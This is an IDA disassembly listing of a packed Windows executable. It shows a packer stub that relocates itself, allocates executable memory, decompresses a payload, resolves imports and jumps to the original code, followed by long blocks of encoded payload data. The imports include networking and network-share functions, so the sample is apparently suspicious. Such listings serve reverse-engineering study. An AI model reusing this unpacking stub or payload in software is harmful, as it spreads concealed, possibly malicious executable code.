; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 4DB000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 0DA000h, 0
		dd 40h,	0
		dd 71AB0000h, 7	dup(0)
		dd 940000h, 0
		dd offset sub_401000
		align 8
		dd 0E2Fh, 0
		dd 112h, 6 dup(0)
		dd 2, 160h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 170E1h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h, 4	dup(0)
		dd 0DB118h, 0DB09Ch, 3 dup(0)
		dd 0DB125h, 0DB0B8h, 3 dup(0)
		dd 0DB12Dh, 0DB0C0h, 5 dup(0)
		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		dd offset dword_4B5248+0F9FCh
		db 4Dh,	50h, 52h
		db  2Eh	; .
		dd offset dword_4B5248+0F9FCh
		db 57h,	53h, 32h
		db  5Fh	; _
		db 33h,	32h, 2Eh
		dd offset dword_4B5248+0F9FCh
		db    0
		align 2
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
		db    0
aGetprocaddress	db 'GetProcAddress',0
		db    0
		align 2
aVirtualprotect	db 'VirtualProtect',0
		db 2 dup(0), 56h
aIrtualalloc	db 'irtualAlloc',0
		db    0
		align 2
aVirtualfree	db 'VirtualFree',0
		align 4
aExitprocess_0	db 'ExitProcess',0
		db    0
		align 2
aWnetaddconne_2	db 'WNetAddConnection2A',0
		align 4
		dd 2002h, 2160000h, 100000h, 200h, 1C1A00h, 2300000h, 64D1C500h
		dd 7CF81B1Ch
		db 0BBh

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 004DB58D SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-151h]
		cmp	byte ptr [ecx],	1
		jz	loc_4DB429
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-1BDh]
		mov	[ebp-1BDh], eax
		add	[ebp-18Dh], eax
		lea	esi, [ebp-149h]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-125h]
		test	eax, eax
		jz	loc_4DB58D
		mov	[ebp-195h], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_4DB4EE
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-1CDh]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4DB25B
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_4DB271
; ---------------------------------------------------------------------------


loc_4DB25B:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_4DB265:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_4DB29E
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_4DB271:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-121h]
		push	dword ptr [ebp-125h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-195h]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_4DB29E
		add	ebx, 8
		jmp	short loc_4DB265
; ---------------------------------------------------------------------------


loc_4DB29E:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-195h]
		call	dword ptr [ebp-121h]
		lea	esi, [ebp-18Dh]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_4DB305


loc_4DB2C6:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_4DB2CB:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_4DB2C6
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_4DB2EB
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_4DB2C6
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_4DB2F5
; ---------------------------------------------------------------------------


loc_4DB2EB:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_4DB2F5:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_4DB2CB


loc_4DB305:				; CODE XREF: start+F7j
		call	sub_4DB444
		lea	ecx, [ebp-179h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_4DB39D
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_4DB39D
		mov	[ecx+10h], esi
		lea	esi, [ebp-149h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4DB342
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4DB34A
; ---------------------------------------------------------------------------


loc_4DB342:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_4DB34A:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4DB373
		cmp	al, 0EFh
		ja	short loc_4DB35D


loc_4DB357:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4DB34A
; ---------------------------------------------------------------------------


loc_4DB35D:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4DB357
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4DB357
; ---------------------------------------------------------------------------


loc_4DB373:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4DB39D


loc_4DB37E:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_4DB38B
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4DB37E
; ---------------------------------------------------------------------------


loc_4DB38B:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_4DB390:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_4DB39D
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4DB390
; ---------------------------------------------------------------------------


loc_4DB39D:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]
		lea	esi, [ebp-161h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_4DB3F0
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-129h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_4DB58D
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-129h]


loc_4DB3F0:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 21h
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4DB429
		inc	ebx
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]


loc_4DB40A:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-129h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_4DB40A


loc_4DB429:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_4DB43D
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4DB43D:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_419C83
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB444	proc near		; CODE XREF: start:loc_4DB305p
		mov	esi, [ebp-1C5h]
		or	esi, esi
		jz	loc_4DB4E9
		mov	edx, [ebp-1BDh]
		add	esi, edx


loc_4DB45A:				; CODE XREF: sub_4DB444+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4DB46D
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4DB46D
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4DB46D
		jmp	short loc_4DB4E7
; ---------------------------------------------------------------------------


loc_4DB46D:				; CODE XREF: sub_4DB444+19j
					; sub_4DB444+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-0B5h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-131h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_4DB4E9
		mov	[ebp-1B5h], eax
		add	edi, [esi]
		add	esi, 4


loc_4DB49B:				; CODE XREF: sub_4DB444+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_4DB4A7
		inc	esi
		jmp	short loc_4DB45A
; ---------------------------------------------------------------------------


loc_4DB4A7:				; CODE XREF: sub_4DB444+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_4DB4BB
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_4DB4BB:				; CODE XREF: sub_4DB444+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-1B5h]
		call	dword ptr [ebp-12Dh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_4DB4E9
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_4DB49B
; ---------------------------------------------------------------------------


loc_4DB4E7:				; CODE XREF: sub_4DB444+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_4DB4E9:				; CODE XREF: sub_4DB444+8j
					; sub_4DB444+4Aj ...
		jmp	loc_4DB58D
sub_4DB444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB4EE	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004DB589 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4DB4FA:				; CODE XREF: sub_4DB4EE+12j
		movsb


loc_4DB4FB:				; CODE XREF: sub_4DB4EE+34j
					; sub_4DB4EE+7Dj
		call	sub_4DB56D
		jnb	short loc_4DB4FA
		xor	ecx, ecx
		call	sub_4DB56D
		jnb	short loc_4DB524
		xor	eax, eax
		call	sub_4DB56D
		jnb	short loc_4DB535
		mov	al, 10h


loc_4DB516:				; CODE XREF: sub_4DB4EE+2Fj
		call	sub_4DB56D
		adc	al, al
		jnb	short loc_4DB516
		jnz	short loc_4DB562
		stosb
		jmp	short loc_4DB4FB
; ---------------------------------------------------------------------------


loc_4DB524:				; CODE XREF: sub_4DB4EE+1Bj
		call	sub_4DB579
		dec	ecx
		loop	loc_4DB541
		mov	eax, ebp
		call	sub_4DB577
		jmp	short loc_4DB563
; ---------------------------------------------------------------------------


loc_4DB535:				; CODE XREF: sub_4DB4EE+24j
		lodsb
		shr	eax, 1
		jz	short loc_4DB589
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4DB563
; ---------------------------------------------------------------------------


loc_4DB541:				; CODE XREF: sub_4DB4EE+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4DB577
		cmp	eax, 7D00h
		jnb	short loc_4DB561
		cmp	eax, 500h
		jnb	short loc_4DB562
		cmp	eax, 7Fh
		ja	short loc_4DB563


loc_4DB561:				; CODE XREF: sub_4DB4EE+65j
		inc	ecx


loc_4DB562:				; CODE XREF: sub_4DB4EE+31j
					; sub_4DB4EE+6Cj
		inc	ecx


loc_4DB563:				; CODE XREF: sub_4DB4EE+45j
					; sub_4DB4EE+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4DB4FB
sub_4DB4EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB56D	proc near		; CODE XREF: sub_4DB4EE:loc_4DB4FBp
					; sub_4DB4EE+16p ...
		add	dl, dl
		jnz	short locret_4DB576
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4DB576:				; CODE XREF: sub_4DB56D+2j
		retn
sub_4DB56D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB577	proc near		; CODE XREF: sub_4DB4EE+40p
					; sub_4DB4EE+5Bp
		xor	ecx, ecx
sub_4DB577	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4DB579	proc near		; CODE XREF: sub_4DB4EE:loc_4DB524p
		inc	ecx


loc_4DB57A:				; CODE XREF: sub_4DB579+Dj
		call	sub_4DB56D
		adc	ecx, ecx
		call	sub_4DB56D
		jb	short loc_4DB57A
		retn
sub_4DB579	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DB4EE


loc_4DB589:				; CODE XREF: sub_4DB4EE+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4DB4EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4DB58D:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-11Dh]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_4DB5A9
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_4DB5A9:				; CODE XREF: .nsp1:004DB59Dj
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_4DB5D8
; ---------------------------------------------------------------------------
		db 58h,	5Eh, 0E8h
		dd 8B0239C9h, 0F0CE4h, 0E2C1C0B6h
; ---------------------------------------------------------------------------


loc_4DB5D8:				; CODE XREF: .nsp1:004DB5C7j
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h,	41h, 0Fh
		dd 0E5EEA75h, 56530004h, 708718Bh, 0D285DB33h, 0C798057h
		dd 55762C7Eh, 0EED1EA1Ch, 0FE3BE380h, 0E82B0572h, 1CB1D83h
		dd 60C57781h, 0E6C11073h, 85E8081Ah, 0E7418489h, 754DF800h
		dd 89675DD8h, 7A4C5F62h, 0C38B1C5Eh, 0F28CB35Bh, 57614F97h
		dd 0DC39B70Fh, 0E83CC1C2h, 0C7AF1E0Bh, 3B0C7E00h, 314073F8h
		dd 0C0BC4689h, 8E01F566h, 1EBFD034h, 0FA2B98F0h, 5FF00C1h
		dd 8966F803h, 7E7F8139h, 8B195CA8h, 2AE8CE14h, 644E889Fh
		dd 0BA381DE1h, 72DFF166h, 42EB0EE0h, 0F84FD02Bh, 0D789566Dh
		dd 0C8FA06Fh, 0E6D00AD2h, 9EEA50C1h, 0A386DFC2h, 1FFEE742h
		dd 5E5F4002h, 0ECD681C3h, 16BB5351h, 8594DA3Eh,	0F901E8DBh
		dd 5D891A7Eh, 55B240FCh, 34708D08h, 3E180CE6h, 3FD3FE8h
		dd 0C4DE6C6h, 5EEB75FCh, 8B0242C2h, 5FE2D3CBh, 95C9045Bh
		dd 763A191Fh, 9CF8DD89h, 0FFC35730h, 0C97D3942h, 0A8FBD98Bh
		dd 65207EFCh, 3127856h,	0E81E0C42h, 0CFBD2385h,	0D30614D0h
		dd 4509E003h, 123B47FCh, 1BE27C48h, 88241415h, 0F26D61C9h
		dd 0ECDAE899h, 0E46E4940h, 0CF54E8D3h, 0C6380BABh, 14BE493Dh
		dd 2B9FEA7Ch, 5035A05Bh, 0FCD29C19h, 0C4435294h, 0B808751Bh
		dd 0D865D0D1h, 70EEEC1h, 0CF01468Dh, 0C30326E0h, 0E8471B76h
		dd 0DBD07396h, 3B02D80Bh, 811C75F0h, 0D340A1FBh, 57B21AEBh
		dd 0E8221BB6h, 8B59A276h, 0E61C99D8h, 0C38AB88Ah, 0E566585h
		dd 0F147FA82h, 85417CE8h, 1675C013h, 570C2A46h,	6A0403ACh
		dd 304C8D03h, 0DCE85AB0h, 3BEB31C7h, 8B024EC0h,	0A832F8D7h
		dd 65755724h, 22104B1Bh, 9F0D8C24h, 1B54E91h, 0EB08C083h
		dd 0F8406A11h, 0A102048Eh, 100CA213h, 2C67D2D2h, 0F9384ABEh
		dd 544E0813h, 0C4D41F1h, 3324C803h, 0F1B87047h,	3D1A52A4h
		dd 0EBDCC928h, 0C8F44DCCh, 0E528E806h, 0D6D210E6h, 414B661Ah
		dd 690F84Dh, 3F020ECh, 5E7D3E4h, 5A050736h, 4F4ADB32h
		dd 390CCE1Ch, 6055604Dh, 73DC2E10h, 20D6A08h, 0E1A0E958h
		dd 40769842h, 0F9D1C875h, 2FDCA8B7h, 0ABF3FE20h, 6661C913h
		dd 1875FF0Ah, 2140320h,	0E8C84D8Dh, 8EA3FCFAh, 0F80207Dh
		dd 5DD47086h, 2310128Ah, 0D8208619h, 60DE89C1h,	0A3668518h
		dd 42F4EA13h, 42061AAh,	73C29B46h, 6455624Eh, 1246FD44h
		dd 0DC827662h, 80474223h, 2A08B1A5h, 8020E74Dh,	0A3A590C3h
		dd 0A100C59Ch, 48DC203h, 1D059040h, 0E4FF8309h,	0E6C8806h
		dd 87067D0Fh, 0EB03F465h, 0A243D10h, 0EF9E05BAh, 0A65B903h
		dd 0F4A50D06h, 740830CEh, 39F62049h, 9AF8B02Bh,	3C048A1Ch
		dd 18AA8810h, 1D65A09Ah, 6C7783FEh, 0E470881h, 678AE76Ch
		dd 941C54D8h, 43F2836Ah, 807EAE08h, 0C2333401h,	6242E894h
		dd 0C33BC1A3h, 0C7AF1B50h, 3A2DB2E1h, 9EE82398h, 8EA62F51h
		dd 0A445752Fh, 95920F47h, 0C1D18A03h, 86E84605h, 2C75184Eh
		dd 350FEE39h, 14558B84h, 0FF1FF0B5h, 0C09D0707h, 8DF8912Bh
		dd 4309C144h, 0D339F4F9h, 3301338Ah, 884A31FFh,	0CE4AE912h
		dd 22B058A4h, 5751846h,	0EBEC48C3h, 0C82B2B27h,	2EE80A8Ah
		dd 0EBF0E118h, 0E476BA09h, 0B587E410h, 0B6EC1D38h, 0A8EDB419h
		dd 0DDA2E613h, 688E8481h, 9B32480Ah, 99C2D5AAh,	7E91EA62h
		dd 0FDE0DC48h, 110BD9E7h, 44C2ADE9h, 5BF06C89h,	0D1DBE41Ch
		dd 849D6D0Ch, 882C5912h, 29066488h, 1B0A1132h, 0D99750E8h
		dd 0B42404F8h, 7D034C7Ch, 94D85824h, 73DF251h, 93810624h
		dd 144B5360h, 21549E74h, 0E249647Ch, 91D6C7D1h,	0F94AFB23h
		dd 0CABA30CFh, 2ACC3E98h, 247D5D0Eh, 1DE45115h,	4E5EF02Bh
		dd 0E880055Eh, 15DD73Ah, 8321EB70h, 0FE1E7C2h, 3E18A4FBh
		dd 451C0049h, 0F16A50C8h, 0A44F691h, 0CEDBEB5Ah, 0B68590B4h
		dd 8ED36284h, 0C9064883h, 0A6303424h, 779E3C80h, 1C393F3Ah
		dd 9CD3C1A4h, 0C7034242h, 4040188Ah, 40094139h,	0A1D2854Ah
		dd 3B057EC2h, 497220D4h, 0E778F1ECh, 55820FE0h,	0D245B590h
		dd 6E83CC95h, 75D2851Ch, 0C37841EBh, 1263F0D1h,	8772102Eh
		dd 44800F8Ah, 0DBB82E1h, 24F4D161h, 7627201h, 4A96E944h
		dd 2C55E319h, 2E2E2D2Eh, 1472805Fh, 0C18AE432h,	0F62EB37Dh
		dd 8FAAC1F3h, 0D30C807Ch, 3CFA7548h, 0A612BA09h, 0FC1CF71Ch
		dd 0F516F781h, 82F11EC9h, 0C6BB0606h, 0CFE35061h, 9210E068h
		dd 1B9C268Dh, 525341A7h, 0CD9D71FFh, 0C8BD2077h, 8BA17A90h
		dd 51494D3h, 72206FB4h,	0B8578852h, 651DFC12h, 0F6332420h
		dd 46018CE4h, 6A81806Eh, 402E69C3h, 0C68B0202h,	1E5FC385h
		dd 153F8C4h, 80B9h, 5D000000h, 200000h,	170D0h,	0DA000h
		dd 0D9A22A00h, 0BA981285h, 6BB933D3h, 0BC461496h, 7C0FDFA7h
		dd 0ED1A86C1h, 4AA65141h, 0DD2F67C8h, 0C6101CCFh, 27E88053h
		dd 0CF1555C2h, 5940782Dh, 0E48DFD04h, 0F11DF236h, 4114716Ch
		dd 0DDFBB5DEh, 38FDF6C0h, 6542878Ah, 0A03FBE64h, 0EBEFC697h
		dd 3747DF43h, 66D46AF1h, 70C32538h, 0E8C35717h,	0C3E13022h
		dd 4AC6238Dh, 0D10AFE0h, 41A089AAh, 1EEA5DA4h, 0FD04694Bh
		dd 871A424Ah, 0A9710A55h, 64E11806h, 137ABC03h,	1792D5EAh
		dd 526B747Dh, 7EA7B0D6h, 0C75D9F1Bh, 306525E0h,	818C98EAh
		dd 0D93F86EBh, 4A02CA9h, 0D160E4B4h, 845201AFh,	8B066928h
		dd 4842781Fh, 454B70C2h, 0D80D03A5h, 0DC0C6528h, 77F40974h
		dd 950700A8h, 0D7F20B9Bh, 96822DE6h, 3EBFCEEDh,	0A9880AC0h
		dd 67A71C75h, 74372C64h, 20F384A4h, 70EC661Bh, 438B2F3Bh
		dd 3161F65Bh, 1B4A0D61h, 2D6F033Dh, 0C1863132h,	3FA4F57Bh
		dd 6BE0D7F5h, 415D7F2Dh, 7435143Dh, 28EDD9CFh, 4B4343B0h
		dd 0ADF4F65Eh, 0CACE6403h, 7245F154h, 0FEA859B8h, 8BF96B89h
		dd 3099FE18h, 57F057E1h, 682AAA59h, 0FB73463Bh,	0EACD0DCh
		dd 3E42B94h, 9B760A9Dh,	56533B5Eh, 501B7767h, 0B5D117BDh
		dd 0A0187DA4h, 0C3032725h, 0CDE7E998h, 4D3F47B8h, 3ED3550Bh
		dd 0E101CA66h, 98A2F8FCh, 0EECA9AA6h, 15A0EE58h, 5BDDE428h
		dd 883F054Ah, 33B085C8h, 0B1AF134Ah, 0D0A942DCh, 2060D604h
		dd 0A1677979h, 6558609Eh, 20B1C07Ah, 3D3324B6h,	42E95EE6h
		dd 0C82E3C0h, 8DA25794h, 4870C9A0h, 70925EB9h, 57FAAE8Eh
		dd 90E60513h, 6FF352BCh, 3AAB4DD8h, 0B1EF95B2h,	30652A72h
		dd 6477F019h, 5A5A2ACCh, 8D0598EFh, 13D7BD46h, 69F9048Dh
		dd 68573952h, 4E7257F7h, 7E9F3F22h, 0F1767C39h,	36BA2DFFh
		dd 35C7DB4Eh, 13D97CF1h, 56B9B274h, 1C739E08h, 82A6BB0Bh
		dd 6B9514EDh, 35048E6Fh, 0D1626549h, 9C9CA4C5h,	0AD9C8F6Ah
		dd 0ACA3B0EDh, 0CBD9A3C3h, 0FDD141F5h, 1C7D5ACFh, 3396B5B9h
		dd 0FBD0F132h, 55B9EED7h, 4B126A74h, 0D727D05Eh, 4762033Eh
		dd 0E1DA724Bh, 0EFB183D7h, 8BEE89Fh, 90B04212h,	0F7C1D2B6h
		dd 5307AF80h, 0E2F6F343h, 440823DEh, 7A213CA9h,	68E27460h
		dd 0D450D71Fh, 6DFF1613h, 53FE97C8h, 5BF05571h,	6FAA36EEh
		dd 50CB703h, 0F6CC26A2h, 589E5209h, 0E30881DDh,	3E22F4A6h
		dd 0C8D4CB28h, 7161A173h, 0B10953F7h, 0B952E4FBh, 0B73981E6h
		dd 0DCB34E41h, 8E073761h, 0BE15134Bh, 7E6A7C4Dh, 9A803351h
		dd 6EA6949Ah, 9C80B891h, 0B605EB0Fh, 2CE72B1Eh,	212FAE68h
		dd 848AF241h, 38CDF9A3h, 51E815EFh, 1C0B9D44h, 0B86DC4C6h
		dd 0EB4D90C3h, 0B269ECC4h, 0D8C507EAh, 0F912F42h, 30ED452Eh
		dd 15A9477Bh
		dd 0E6F7A798h, 0BED4BF16h, 1E705B04h, 99B55150h, 86307208h
		dd 0B0C1CC43h, 253DA876h, 3022D5B5h, 0C6B9E738h, 0DAE040D4h
		dd 7A1D84AEh, 214478AAh, 195E966h, 0E4E7C871h, 0B991F7D4h
		dd 899EED9Dh, 20E15BA1h, 9874C9ECh, 689C64E6h, 8586C1E8h
		dd 667ABF48h, 13E9003h,	0D9CF6202h, 27FCE16Eh, 0F59BCD76h
		dd 367207ACh, 3559F75Ah, 36DA8A81h, 16D6766Ch, 0DBA96835h
		dd 8E6A542Ch, 349BAB1Eh, 46FF1AA4h, 0B622D0DCh,	4FD78F8Ch
		dd 170E8FD7h, 58C073A1h, 0CEF6538h, 9BFDE480h, 52D51FC7h
		dd 0FAC5F09Bh, 76E835C0h, 3F5AA7DDh, 68DB9AF1h,	0CCA3AC10h
		dd 0F61237A9h, 5857CE1Eh, 0CA71FE08h, 0F7D8A1ABh, 9A9C62FCh
		dd 0B391E06Ch, 5D54595Dh, 4724D764h, 825AE9BBh,	50C240CAh
		dd 0B63F62CAh, 0C42F7A30h, 0F2071524h, 0DCDA3BF1h, 9B45D3DFh
		dd 97260558h, 835E30CBh, 0E55BF194h, 0D839C5C7h, 0B0697CD5h
		dd 0E3A6CB32h, 44C1B6CDh, 263B4708h, 9A0D28BBh,	3A35676Fh
		dd 9988744h, 0E5385CACh, 2448F1C7h, 9F5A3036h, 0E54D2E91h
		dd 0F675D7DDh, 815A48ACh, 0B7A6DC80h, 5FF5AE6Ah, 7E2619FAh
		dd 4EAF315Bh, 7B53DA69h, 0CF5A72E9h, 80B0E95Ah,	89194100h
		dd 6335F506h, 0DAECBC32h, 0AC0B0756h, 0AB3BA3C9h, 9996DE3Ch
		dd 1BFA9256h, 0A6F86891h, 4A2D08F8h, 42D81209h,	0A69A892Ah
		dd 88C8709Fh, 0F3447566h, 98EFB2EFh, 735B5CE9h,	0D1063ABEh
		dd 0DA3C87CCh, 65A524A4h, 5BA72704h, 0B5D7C428h, 0E14461DAh
		dd 0B75DD402h, 0E4B11B8Bh, 7B700FC3h, 4FDB6116h, 0D22BCA2Eh
		dd 2DAF439Bh, 0BBCE1D35h, 31804832h, 0ABFC025Eh, 0AB91375Dh
		dd 0E9F7324Eh, 34693B03h, 3FE47BA0h, 3FD9E412h,	7E3FAD1Fh
		dd 0F2EE4D85h, 0B4F0C89Ah, 67A1069Ah, 3C8D30DCh, 0FACE3F5h
		dd 79A4AC7Dh, 2F4EC98Bh, 4855AF77h, 1E2FBDD4h, 49396330h
		dd 3D8DB11h, 0B329F96Ch, 0B44544EDh, 586AF990h,	1FD41703h
		dd 8223BAD6h, 0C1BDEA5Eh, 0FCBB0713h, 0EEC19080h, 0BC7A8CFBh
		dd 0A9D1D861h, 0DFEAC64Bh, 0B8DD2A5Bh, 0BACBAAFEh, 0C6C4F9D8h
		dd 34D3E178h, 77E5E343h, 5355F7D8h, 31B7EC3Fh, 3A482B29h
		dd 13727374h, 47BA4FD2h, 0F6345E01h, 0C75C7A4Dh, 8B708177h
		dd 8BD9F5E7h, 0B96C1787h, 786656F4h, 8B3630F9h,	0B2ACFE4Ah
		dd 0B182370Eh, 8AB88AE3h, 8B402388h, 0FFE2C1BDh, 5F3FB5F2h
		dd 8AABF4BBh, 0C89BEF50h, 63D43Fh, 1419DC3Eh, 896AA34h
		dd 800D489Ch, 0F3D96532h, 0F7F3F4F9h, 1F7752ABh, 0BDD2664Dh
		dd 39F6AB88h, 0B2FE5FD0h, 0CC5578F0h, 0C05FCF9Ah, 6213F82Eh
		dd 2002EBCDh, 0AA85034Fh, 57E80597h, 0C4B8F73Bh, 42A34151h
		dd 78EC0ECEh, 8F4E0B4Dh, 0D6810046h, 524F1871h,	0E57A2805h
		dd 4883653Bh, 9E917BF9h, 52F986D4h, 341F3002h, 0A6B4F5A8h
		dd 266E323Ah, 0F71E8094h, 1E8F60EBh, 155164FFh,	0B8FBD024h
		dd 0B4FF17A5h, 0CE47BEC8h, 40C2B7B6h, 76DCF492h, 178E596Ah
		dd 4B9A1FD1h, 1D8ECA90h, 3AF7854Eh, 2DFA00B4h, 0B43E6B1Eh
